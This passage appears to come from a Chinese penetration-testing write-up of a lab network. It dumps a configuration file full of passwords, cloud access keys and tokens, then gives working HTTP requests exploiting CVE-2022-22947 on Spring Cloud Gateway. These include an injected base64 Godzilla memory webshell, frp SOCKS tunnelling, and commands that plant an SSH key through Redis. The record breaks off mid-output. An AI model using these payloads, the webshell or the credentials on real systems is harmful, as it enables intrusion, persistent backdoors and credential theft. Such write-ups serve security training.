ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI= # 令牌过期时间 此处单位/毫秒 ,默认4小时,可在此网站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html token-validity-in-seconds: 14400000 # 在线用户key online-key: online-token # 验证码 code-key: code-key # 文件存储路径file: mac: path: ~/file/ avatar: ~/avatar/ linux: path: /home/admin/file/ avatar: /home/admin/avatar/ windows: path: C:\admin\file\ avatar: C:\admin\avatar\ # 文件大小 /M maxSize: 100 avatarMaxSize: 5 #登录图形验证码有效时间/分钟loginCode: expiration: 2 # sm.ms 图床的 tokensmms: token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl task: pool: # 核心线程池大小 core-pool-size: 10 # 最大线程数 max-pool-size: 30 # 活跃时间 keep-alive-seconds: 60 # 队列容量 queue-capacity: 50 admin-api-bb # 项目相关配置admin-api: # access_key_id 你的亚马逊S3服务器访问密钥ID accessKey: AAKIAWTRDCOOZNINALPHDWN # secret_key 你的亚马逊S3服务器访问密钥 secretKey: 2DAwi7yntlLnmOQvCYAAGITNloeZQlfLUSOzvW96s5c # bucketname 你的亚马逊S3服务器创建的桶名 bucketName: kefu-test-env # bucketname 你的亚马逊S3服务器创建的桶名 regionsName: ap-east-1 # questionPicture 问题类型图片上传文件夹名称 questionPicture: questionFolder # chatPicture 聊天图片上传文件夹名称 chatPicture: chatFolder # 获取ip地址开关 addressEnabled: true # 中后台的地址 url: http://127.0.0.1 # 中后台API地址 seektopserUrl: http://127.0.0.1/api/partner/user/info/base # 中后台API请求APPID seektopAppId: A9AA30D1D30F4597B83C054B3EAD770D # 中后台API请求密钥 seektopSecretKey: yT2BivSJLCR4lHb8hNFmHSF12pBm+a4IfdF42/a1quQdu5wqznM7YA== # 客服关闭会话配置时间 closeChannelTime: 3 # redis-task服务请求地址 redisTaskUrl: http://localhost:8586 # SEO 代理帳號 seoAgentName: im: server: url: http://localhost:9507/ secret: ^look^ server: port: 8500 servlet: context-path: /api #配置数据源spring: datasource: druid: url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%! main: allow-bean-definition-overriding: true jpa: hibernate: # 生产环境设置成 none,避免程序运行时自动更新数据库结构 ddl-auto: none redis: #数据库索引 database: 0 host: 127.0.0.1 port: 6379 password: nbsg@123456 #连接超时时间 timeout: 50000 elasticsearch: nodes: es.localhost:9200 # 多数据源配置gt: root: boot: #主动开启多数据源 multiDatasourceOpen: true datasource[0]: dbName: slave url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false username: root password: Pabc@234%! #jwtjwt: header: Authorization # 令牌前缀 token-start-with: Bearer # 必须使用最少88位的Base64对该令牌进行编码 base64-secret: ZmQ0ZGI5NjQ0MDQwY2I4MjMxY2Y3ZmI3MjdhN2ZmMjNhODViOTg1ZGE0NTBjMGM4NDA5NzYxMjdjOWMwYWRmZTBlZjlhNGY3ZTg4Y2U3YTE1ODVkZDU5Y2Y3OGYwZWE1NzUzNWQ2YjFjZDc0NGMxZWU2MmQ3MjY1NzJmNTE0MzI= # 令牌过期时间 此处单位/毫秒 ,默认4小时,可在此网站生成 https://www.convertworld.com/zh-hans/time/milliseconds.html token-validity-in-seconds: 14400000 # 在线用户key online-key: online-token # 验证码 code-key: code-key #是否允许生成代码,生产环境设置为falsegenerator: enabled: false #是否开启 swagger-uiswagger: enabled: true # 文件存储路径file: mac: path: ~/file/ avatar: ~/avatar/ linux: path: /home/admin/file/ avatar: /home/admin/avatar/ windows: path: C:\admin\file\ avatar: C:\admin\avatar\ # 文件大小 /M maxSize: 100 avatarMaxSize: 5 #七牛云qiniu: # 文件大小 /M max-size: 15 #邮箱验证码有效时间/分钟code: expiration: 5 #登录图形验证码有效时间/分钟loginCode: expiration: 2 # sm.ms 图床的 tokensmms: token: 1oOP3ykFDI0K6ifmtvU7c8Y1eTWZSlyl task: pool: # 核心线程池大小 core-pool-size: 10 # 最大线程数 max-pool-size: 30 # 活跃时间 keep-alive-seconds: 60 # 队列容量 queue-capacity: 50 redis-task server: port: 8586 api: task: url: http://127.0.0.1/api/office/taskHandle knife4j: redis: host: 0.0.0.0 password: nbsg@123456 port: 6379 databases: 0,1,2,3,4,5,6,7 timeout: 60000 logging: config: classpath:logback.xml xxl: job: admin: addresses: http://127.0.0.1:8998/xxl-job-admin accessToken: X336qlhSuYz2Nshk executor: appname: redis-task address: ip: port: 5599 logpath: /data/logs/xxl-job/redis-task logretentiondays: 5 app: mq: delay: queue: bb_DELAY_QUEUE exchange: bb_delay_exchange spring: rabbitmq: host: 127.0.0.1 port: 5672 username: admin password: global2018# virtualHost: / 从以上这些配置文件中得到一些密码,还有一些key(本次环境没有用到,就不写了,实战中可以用对应云的连接工具试试) Pabc@234%!nbsg@123456root_pwd 从配置中看出是mysql和redis相关的账密,不过nacos这台主机没有扫描到开放对应的端口,nacos的收集就到此结束,没有有用的信息了。 2.2 springboot未授权 未授权地址: http://192.168.100.50:8800/actuator/env 这是springboot的环境变量 还有其他的就不一一列举了 /actuator/configprops # 显示所有@ConfigurationProperties/actuator/env # 公开 Spring 的ConfigurableEnvironment/actuator/health # 显示应用程序运行状况信息/actuator/httptrace # 显示 HTTP 跟踪信息/actuator/metrics # 显示当前应用程序的监控指标信息。/actuator/mappings # 显示所有@RequestMapping路径的整理列表/actuator/threaddump # 线程转储/actuator/heapdump # 堆转储/actuator/jolokia # JMX-HTTP桥,它提供了一种访问JMX beans的替代方法 2.3 Spring-Cloud-CVE-2022-22947 漏洞利用exp如下: 先创建一个路由,返回201表示创建成功 POST /actuator/gateway/routes/bolean HTTP/1.1Host:192.168.100.50:8800Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329 { "id": "bolean", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com"} 使用hackbar发包 刷新路由 POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.100.50:8800Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0 访问路由: http://192.168.100.50:8800/actuator/gateway/routes/bolean 成功命令执行,接下来就是写shell了 写哥斯拉马的payload POST /actuator/gateway/routes/bolean1 HTTP/1.1Host: 192.168.100.50:8800Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 10956 { "id": "bolean1", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAOTG1zL0dNZW1TaGVsbDsBAAhkb0luamVjdAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVcmVnaXN0ZXJIYW5kbGVyTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAANtc2cBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEcGF0aAEADVN0YWNrTWFwVGFibGUHAM0HAMcBABBNZXRob2RQYXJhbWV0ZXJzAQALZGVmaW5lQ2xhc3MBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAApjbGFzc2J5dGVzAQACW0IBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAZtZXRob2QBAApFeGNlcHRpb25zAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABcwEAAW0BAAFaBwDFBwEaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAA3JldAEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAJicwEABXZhbHVlAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAANjbWQBAF0oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAAxidWZmZXJTdHJlYW0BAAJleAEABXBkYXRhAQAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTsBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA1TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Qb3N0TWFwcGluZzsBAAQvY21kAQANbGFtYmRhJGNtZCQxMQEARyhMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7KUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAJpZAEABGRhdGEBAChMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7AQAGcmVzdWx0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwcAtwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADkdNZW1TaGVsbC5qYXZhDABpAGoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAZQBmDAEbARwMAGgAZgwBHQEeDABnAJIMAGcAZgwBHwEgAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAEhASIMASMBJAEADG1zL0dNZW1TaGVsbAEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcMASUBKAcBKQwBKgErDAEsAS0BAAJvawEAE2phdmEvbGFuZy9FeGNlcHRpb24MAS4AagEABWVycm9yAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAS8MATABMQwBMgEzDABpATQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHATUMATYAmQwBNwE4AQADQUVTBwEaDAE5AToBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAE7ATwMAGkBPQwBPgE/DAFAAUEBAANNRDUHAUIMATkBQwwBRAFFDAFGAUcBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwBSAE8DABpAUkMAR0BSgwBSwEeAQAQamF2YS51dGlsLkJhc2U2NAwBTAFNAQAKZ2V0RW5jb2RlcgwBTgEiAQAOZW5jb2RlVG9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAFPAVABAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBUQFSAQAQQm9vdHN0cmFwTWV0aG9kcw8GAVMQAVQPBwFVEACpDAFWAVcHAVgMAVkBWgEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcBWwwBXAFdDABpAV4MAV8BHgcBYAwBYQFUDACcAJ0MAIkAigwAYQBiAQAHcGF5bG9hZAcBYgwBYwFUDACBAIIMAWQBZQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBZgFnDAFoAWkMAWoBPAwAlQCWDAFoAUoMAWsBbAEAEWphdmEvdXRpbC9IYXNoTWFwAQAQM2M2ZTBiOGE5YzE1MjI0YQEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAVwYXRocwEAB0J1aWxkZXIBAAxJbm5lckNsYXNzZXMBAGAoW0xqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAElvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAFYnVpbGQBAEUoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2dldEZvcm1EYXRhAQAfKClMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwoBbQFuAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKABIBbwEABWFwcGx5AQAtKExtcy9HTWVtU2hlbGw7KUxqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247AQAbcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vAQAHZmxhdE1hcAEAPChMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOylMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgEACmdldE1lc3NhZ2UBACZvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcAEACGdldEZpcnN0AQANamF2YS91dGlsL01hcAEAA2dldAEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAEanVzdAEAMShMamF2YS9sYW5nL09iamVjdDspTHJlYWN0b3IvY29yZS9wdWJsaXNoZXIvTW9ubzsHAXAMAXEBdAwAqACpAQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQEAC21ldGFmYWN0b3J5BwF2AQAGTG9va3VwAQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7BwF3AQAlamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzJExvb2t1cAEAHmphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcwAhABIADQAAAAQACQBhAGIAAQBjAAAAAgBkAAkAZQBmAAAACQBnAGYAAAAJAGgAZgAAAAoAAQBpAGoAAQBrAAAALwABAAEAAAAFKrcAAbEAAAACAGwAAAAGAAEAAAAWAG0AAAAMAAEAAAAFAG4AbwAAAAkAcABxAAIAawAAAUgABwAG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'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/nnmm')}" } }], "uri": "http://example.com"} 刷新路由: http://192.168.100.50:8800/actuator/gateway/refresh 接着使用哥斯拉连接,默认密码,连接地址: http://192.168.100.50:8800/nnmm 连接成功 2.4 内网信息搜集 哥斯拉连接上之后,发现还存在内网,再次上传fscan扫描其内网C段(192.168.88.1/24),如果哥斯拉上传较慢的话,可以在xxl-job这台机器上起一个python服务,wget下载也行。 fscan扫描结果中发现在192.168.88.1的C段还有另一台机子192.168.88.70开放了6379,这个是redis默认开放的端口 192.168.88.60:22 open192.168.88.70:22 open192.168.88.1:135 open192.168.88.1:139 open192.168.88.1:445 open192.168.88.70:6379 open192.168.88.1:7680 open192.168.88.60:8800 open192.168.88.60:8848 open 从nacos的配置文件中得到过一些账密,文件里面也写得有redis的配置,继续二层代理,尝试连接redis。 2.5 frp二层代理 将frpc客户端的文件上传到nacos的机器上 frpc.ini配置为 [common]server_addr = 192.168.100.20server_port = 7777 [socks_proxy]type = tcplocal_port = 1090 remote_port =1090 plugin = socks5 xxl-job上传frps服务端,修改好服务端的IP或者直接删除就好 root@4:/home/bolean/xxl-jar# cat frps.ini [common]bind_port = 7777 这里我的frpc不知道是版本还是什么原因,还需要去第一层将frp给关掉,然后修改掉frpc.ini的配置,将最后的socks5个注释掉,重新运行frpc 代理之后可以使用账密成功登录redis proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456" 3.1 redis写ssh公钥 redis登录成功后,尝试写ssh的公钥到主机中,具体命令如下: 现在本机上生成密钥对:ssh-keygen -t rsa -b 2048 可以设置密码,这里使用的空密码 将生成的公钥保存到key.txt:(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt 将保存的key.txt文件内容写入redis:cat key.txt|proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456" -x set bolean 登录redis:proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456" 配置目录:config set dir /root/.ssh/ 重命名:config set dbfilename "authorized_keys" 最后保存即可:save ┌──(rooteval)-[~/id_rsa]└─# proxychains redis-cli -h 192.168.88.70 -a "nbsg@123456"[proxychains] config file found: /etc/proxychains.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.15Warning: Using a password with '-a' option on the command line interface may not be safe.[proxychains] Strict chain ... 